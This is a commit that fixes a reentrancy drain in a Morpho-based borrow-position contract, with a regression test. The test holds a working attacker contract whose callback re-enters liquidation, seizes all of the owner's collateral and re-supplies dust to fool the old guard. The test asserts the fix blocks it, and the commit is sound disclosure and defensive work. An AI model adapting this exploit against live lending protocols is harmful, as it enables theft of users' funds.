fix: derive band settlement LTV frame before repay to close reentrancy drain

The offer-band pre-liquidation guard re-read live position state after the
Morpho repay, whose onPreLiquidate callback (plus permissionless repay /
supplyCollateral) could drain the position through the reentrant proportional
path and re-supply a dust atom so the post-repay check passed. Compute the
settled frame deterministically from the fill amounts before the repay
(reproducing Morpho shares-mode rounding), so no callback can move it.

Author: maxencerb

src/borrow/MorphoBorrowPosition.sol

@@ -419,20 +419,20 @@ contract MorphoBorrowPosition is IBorrowPosition, IBorrowOffers, Initializable,
   ///
   ///      Settlement guard: the walk's per-fill checks run against a snapshot of Morpho's totals,
   ///      and on a virtual-share boundary the settled totals can round the remaining debt such
-  ///      that an accepted dust-sized fill leaves the LTV flat or higher (and repeated fills could
-  ///      walk it past `liquidationLtv` into the proportional path). After the repay settles, the
-  ///      position is re-quoted at the entry price and the call reverts unless the LTV strictly
-  ///      decreased ({_checkLtvReduced}); with the entry LTV at or below `liquidationLtv`, a
-  ///      strict decrease also keeps the settled LTV within the band's bound.
+  ///      that an accepted dust-sized fill leaves the LTV flat or higher (and, at the band's upper
+  ///      edge, tips the floored health check into the proportional path). The call reverts unless
+  ///      the fill strictly decreased the LTV ({_checkLtvStrictlyReduced}); with the entry LTV at or
+  ///      below `liquidationLtv`, a strict decrease also keeps the settled LTV within the band's
+  ///      bound. The guard runs before the repay on a frame derived from the fill amounts, so a
+  ///      liquidator callback cannot manipulate the state it reads.
   function _offerPreLiquidate(address borrower, uint256 seizedAssets, uint256 repaidShares, bytes calldata data)
     internal
     returns (uint256, uint256)
   {
-    // One oracle read for the whole call: the walk, the entry quote and the settlement guard all
-    // price collateral identically, so a mid-call price move (e.g. from the liquidator callback)
-    // cannot skew the entry/exit comparison.
+    // One oracle read for the whole call: the walk and the settlement guard price collateral
+    // identically, so a mid-call price move (e.g. from the liquidator callback) cannot skew the
+    // entry/exit comparison.
     uint256 price = IOracle(_borrowPositionStorage().marketParams.oracle).price();
-    (uint256 entryDebtValue, uint256 entryCollateralValue) = _positionLtvFrame(price);
 
     // The walk reads market/position once (post-accrual, so exact) and applies all offer mutations
     // as effects before the repay below. Scoped in a helper to keep this function's stack shallow.
@@ -442,9 +442,15 @@ contract MorphoBorrowPosition is IBorrowPosition, IBorrowOffers, Initializable,
     // gives liquidators a clear signal when the band is entered but nothing is fillable.
     if (totalSeized == 0 || totalDebtShares == 0) revert LibBorrowErrors.NoConsumableOffer();
 
-    uint256 repaidAssets = _settleOfferRepay(borrower, totalSeized, totalDebtShares, data);
+    // Settlement guard, evaluated BEFORE the repay on the frame DERIVED from the fill amounts, so a
+    // liquidator callback cannot move the state it reads. The Morpho `repay` withdraws the seized
+    // collateral and then hands control to `onPreLiquidate`; since `repay` and `supplyCollateral`
+    // are permissionless, a post-repay live re-quote could be neutralised by a callback that drains
+    // the position through the proportional path and re-supplies a dust atom, letting a fill that
+    // does not de-risk the position stand. The derived frame is immune to that.
+    _checkLtvStrictlyReduced(price, totalSeized, totalDebtShares);
 
-    _checkLtvReduced(price, entryDebtValue, entryCollateralValue);
+    uint256 repaidAssets = _settleOfferRepay(borrower, totalSeized, totalDebtShares, data);
 
     return (totalSeized, repaidAssets);
   }
@@ -460,30 +466,44 @@ contract MorphoBorrowPosition is IBorrowPosition, IBorrowOffers, Initializable,
     (repaidAssets,) = MORPHO.repay(_borrowPositionStorage().marketParams, 0, totalDebtShares, borrower, callbackData);
   }
 
-  /// @dev Quotes the position's debt and collateral values at `price` from the current Morpho
-  ///      state (post-accrual totals; debt rounds up, collateral rounds down, matching
-  ///      {_isHealthy}). Called by {_offerPreLiquidate} before the consume and after the repay
-  ///      settles, so the two frames differ only by the fill's real effect on Morpho's totals.
-  function _positionLtvFrame(uint256 price) internal view returns (uint256 debtValue, uint256 collateralValue) {
+  /// @dev Reverts {LibBorrowErrors.LtvNotReduced} unless the fill strictly lowers the position LTV:
+  ///      `exitDebt / exitCollateral < entryDebt / entryCollateral`, cross-multiplied to
+  ///      `exitDebt * entryCollateral < entryDebt * exitCollateral` so the comparison is exact.
+  ///
+  ///      The exit frame is DERIVED from the fill amounts against the current (pre-repay) Morpho
+  ///      snapshot rather than re-read live after the repay, so it measures the fill alone and no
+  ///      liquidator callback can move it. It reproduces Morpho's shares-mode `repay` settlement
+  ///      exactly: the repaid assets round up, the market totals drop by (`repaidAssets`,
+  ///      `totalDebtShares`) with a saturating subtraction on the assets (Morpho's `repaidAssets`
+  ///      may exceed `totalBorrowAssets` by one), and the remaining debt rounds up on the reduced
+  ///      totals. Interest was accrued at entry and the in-flight repay re-accrues with zero elapsed
+  ///      time, so these totals equal the settled ones; the derived frame is therefore the exact
+  ///      state a post-repay quote would read absent a callback (debt rounds up, collateral rounds
+  ///      down, matching {_isHealthy}).
+  ///
+  ///      The product goes through `fullMulDiv`'s 512-bit intermediate rather than a plain
+  ///      multiplication: the collateral values are price-scaled (`price` is an unbounded oracle
+  ///      value at 1e36 scale) and can exceed 128 bits, so the direct product can overflow 256 bits
+  ///      and checked multiplication would turn a legitimate fill into a spurious revert. Flooring
+  ///      keeps it exact (`floor(a * b / d) >= c <=> a * b >= c * d` for integers). `entryDebtValue`
+  ///      and `totalDebtShares` are non-zero in the band (the position has debt; the fill repaid at
+  ///      least one share).
+  function _checkLtvStrictlyReduced(uint256 price, uint256 totalSeized, uint256 totalDebtShares) internal view {
     Id _marketId = _borrowPositionStorage().marketId;
     Position memory position = MORPHO.position(_marketId, address(this));
     Market memory market = MORPHO.market(_marketId);
-    debtValue =
-      uint256(position.borrowShares).toAssetsUp(uint256(market.totalBorrowAssets), uint256(market.totalBorrowShares));
-    collateralValue = uint256(position.collateral).mulDiv(price, ORACLE_PRICE_SCALE);
-  }
+    uint256 totalBorrowAssets = uint256(market.totalBorrowAssets);
+    uint256 totalBorrowShares = uint256(market.totalBorrowShares);
+
+    uint256 entryDebtValue = uint256(position.borrowShares).toAssetsUp(totalBorrowAssets, totalBorrowShares);
+    uint256 entryCollateralValue = uint256(position.collateral).mulDiv(price, ORACLE_PRICE_SCALE);
+
+    // Settled frame derived from the fill (matches Morpho's shares-mode repay rounding).
+    uint256 repaidAssets = totalDebtShares.toAssetsUp(totalBorrowAssets, totalBorrowShares);
+    uint256 exitDebtValue = (uint256(position.borrowShares) - totalDebtShares)
+    .toAssetsUp(totalBorrowAssets.zeroFloorSub(repaidAssets), totalBorrowShares - totalDebtShares);
+    uint256 exitCollateralValue = (uint256(position.collateral) - totalSeized).mulDiv(price, ORACLE_PRICE_SCALE);
 
-  /// @dev Reverts {LibBorrowErrors.LtvNotReduced} unless the settled position's LTV is strictly
-  ///      below the entry frame's: `exitDebt / exitCollateral < entryDebt / entryCollateral`,
-  ///      cross-multiplied to `exitDebt * entryCollateral < entryDebt * exitCollateral` so the
-  ///      comparison is exact. The product goes through `fullMulDiv`'s 512-bit intermediate
-  ///      rather than a plain multiplication: the collateral values are price-scaled (`price` is
-  ///      an unbounded oracle value at 1e36 scale) and can exceed 128 bits, so the direct product
-  ///      can overflow 256 bits and checked multiplication would turn a legitimate fill into a
-  ///      spurious revert. Flooring keeps it exact (`floor(a * b / d) >= c <=> a * b >= c * d`
-  ///      for integers). `entryDebtValue > 0` in the band (the position has debt, rounded up).
-  function _checkLtvReduced(uint256 price, uint256 entryDebtValue, uint256 entryCollateralValue) internal view {
-    (uint256 exitDebtValue, uint256 exitCollateralValue) = _positionLtvFrame(price);
     if (FixedPointMathLib.fullMulDiv(exitDebtValue, entryCollateralValue, entryDebtValue) >= exitCollateralValue) {
       revert LibBorrowErrors.LtvNotReduced();
     }

test/borrow/ReentrancyGuardBypassPoC.t.sol

@@ -0,0 +1,140 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.20;
+
+import {console2} from "forge-std/console2.sol";
+import {MorphoBorrowPositionOffersTest} from "./MorphoBorrowPositionOffers.t.sol";
+import {MorphoBorrowPosition} from "src/borrow/MorphoBorrowPosition.sol";
+import {IPreLiquidationCallback} from "src/interfaces/borrow/IPreliquidationCallback.sol";
+import {LibBorrowErrors} from "src/libs/borrow/LibBorrowErrors.sol";
+import {IMorpho, Id, MarketParams, Position, Market} from "lib/morpho-blue/src/interfaces/IMorpho.sol";
+import {MockERC20} from "test/mock/MockERC20.sol";
+import {SharesMathLib} from "lib/morpho-blue/src/libraries/SharesMathLib.sol";
+
+/// @notice Regression test for the Cantina reentrancy finding on the band settlement guard.
+///         The reviewer's exploit ran end-to-end against the real Morpho + MorphoBorrowPosition: a
+///         liquidator's `onPreLiquidate` callback re-entered the PROPORTIONAL path, repaid all
+///         remaining shares (seizing the rest of the collateral), supplied a few collateral atoms
+///         back on behalf of the position, and returned with `exitDebt = 0`, so a post-repay live
+///         `_checkLtvReduced` passed and the whole owner position was drained at the proportional
+///         discount.
+///
+///         Precondition: the position sits at `margin == 0` (its floored borrowing capacity at
+///         `liquidationLtv` exactly equals its debt, i.e. it is at the offer-band/proportional
+///         boundary). At `margin == 0` a one-atom "flat LTV" offer fill (the 3F-469 residual) ticks
+///         the floored `_isHealthy(liquidationLtv)` check false at the callback point, which is what
+///         made the reentrant proportional path reachable.
+///
+///         The fix ({_checkLtvStrictlyReduced}) evaluates the guard BEFORE the repay on a frame
+///         derived from the fill amounts, so the non-de-risking dust fill is rejected up front and
+///         the callback never runs. This test asserts the exploit is blocked.
+contract ReentrancyGuardBypassPoC is MorphoBorrowPositionOffersTest {
+  using SharesMathLib for uint256;
+
+  function test_poc_confirmExploitAtBoundaryPrice() public {
+    _enterBand(0.7e18); // establish the position (collateral + borrow)
+
+    // Binary-search the smallest price that dispatches to the offer band (isHealthy at
+    // liquidationLtv). At that price the floored borrowing capacity first reaches the debt, so
+    // `margin == 0`. Higher price => lower LTV => healthier, so isHealthy(liqLtv) is monotonic.
+    uint256 lo = BORROW * SCALE / COLLATERAL * 1e18 / uint256(LIQ_LTV);
+    uint256 hi = lo * 2;
+    for (uint256 it; it < 256 && hi - lo > 1; ++it) {
+      uint256 mid = lo + (hi - lo) / 2;
+      oracle.setPrice(mid);
+      if (pos.isHealthy(uint256(LIQ_LTV))) hi = mid;
+      else lo = mid;
+    }
+    oracle.setPrice(hi); // offer-band dispatch, closest to the boundary
+    assertTrue(pos.isHealthy(uint256(LIQ_LTV)) && !pos.isHealthy(uint256(SAFE_LTV)), "offer band at entry");
+
+    _proposeAtPrice(_positionShares() / 2, 1.2e18);
+    _warpActive();
+
+    uint256 ownerCollBefore = _positionCollateral();
+    PureExploitLiquidator attacker =
+      new PureExploitLiquidator(pos, morpho, marketParams, marketId, loanToken, collateralToken, LIQ_LTV);
+    loanToken.setBalance(address(attacker), 100_000_000e18);
+    collateralToken.setBalance(address(attacker), 1_000e18);
+
+    uint256 attackerCollBefore = collateralToken.balanceOf(address(attacker));
+
+    (bool ok, bytes4 sel) = attacker.attackSeize(1); // one-atom seize target => the 3F-469 residual fill
+
+    uint256 collGained = collateralToken.balanceOf(address(attacker)) - attackerCollBefore;
+
+    console2.log("outerOk=%s exploitRan=%s", ok, attacker.exploitRan());
+    console2.log(
+      "ownerCollBefore=%e ownerCollAfter=%e ownerDebtAfter=%e",
+      ownerCollBefore,
+      _positionCollateral(),
+      _positionShares()
+    );
+    console2.log("attacker collateralGained=%e", collGained);
+
+    // Fix regression: the settlement guard now runs BEFORE the repay on a derived frame, so the
+    // non-de-risking dust fill is rejected up front. The outer call reverts LtvNotReduced, the
+    // callback (and its reentrant proportional drain) never runs, and the owner is untouched.
+    assertFalse(ok, "exploit blocked: outer preLiquidate reverts");
+    assertEq(sel, LibBorrowErrors.LtvNotReduced.selector, "reverts with LtvNotReduced before settlement");
+    assertFalse(attacker.exploitRan(), "callback never reached: guard runs before the repay");
+    assertEq(_positionCollateral(), ownerCollBefore, "owner position untouched");
+    assertEq(collGained, 0, "attacker seized nothing");
+  }
+}
+
+/// @notice Liquidator that runs the reviewer's exploit steps: if the reentrant proportional path is
+///         reachable at the callback (position unhealthy at liquidationLtv), repay all remaining
+///         shares (seizing the rest of the collateral) then supply a few collateral atoms back on
+///         behalf of the position so the outer exit frame reads (debt=0, collateral>0).
+contract PureExploitLiquidator is IPreLiquidationCallback {
+  MorphoBorrowPosition internal pos;
+  IMorpho internal morpho;
+  MarketParams internal mp;
+  Id internal id;
+  MockERC20 internal loanToken;
+  MockERC20 internal collateralToken;
+  uint128 internal liqLtv;
+  bool internal entered;
+  bool public exploitRan;
+
+  constructor(
+    MorphoBorrowPosition _pos,
+    IMorpho _morpho,
+    MarketParams memory _mp,
+    Id _id,
+    MockERC20 _loan,
+    MockERC20 _coll,
+    uint128 _liqLtv
+  ) {
+    pos = _pos;
+    morpho = _morpho;
+    mp = _mp;
+    id = _id;
+    loanToken = _loan;
+    collateralToken = _coll;
+    liqLtv = _liqLtv;
+    loanToken.approve(address(_pos), type(uint256).max);
+    loanToken.approve(address(_morpho), type(uint256).max);
+    collateralToken.approve(address(_morpho), type(uint256).max);
+  }
+
+  function attackSeize(uint256 seizeTarget) external returns (bool ok, bytes4 sel) {
+    try pos.preLiquidate(address(pos), seizeTarget, 0, abi.encode("go")) {
+      ok = true;
+    } catch (bytes memory reason) {
+      if (reason.length >= 4) sel = bytes4(reason);
+    }
+  }
+
+  function onPreLiquidate(uint256, bytes calldata) external override {
+    if (entered) return;
+    entered = true;
+    if (pos.isHealthy(uint256(liqLtv))) return; // proportional path NOT reachable
+    uint256 rem = uint256(morpho.position(id, address(pos)).borrowShares);
+    pos.preLiquidate(address(pos), 0, rem, ""); // reentrant proportional: drain all collateral
+    // Supply enough atoms that the exit-collateral VALUE is strictly positive (one atom rounds to
+    // zero value when price/scale < 1, which would trip the guard's 0 >= 0 branch).
+    morpho.supplyCollateral(mp, 1e9, address(pos), "");
+    exploitRan = true;
+  }
+}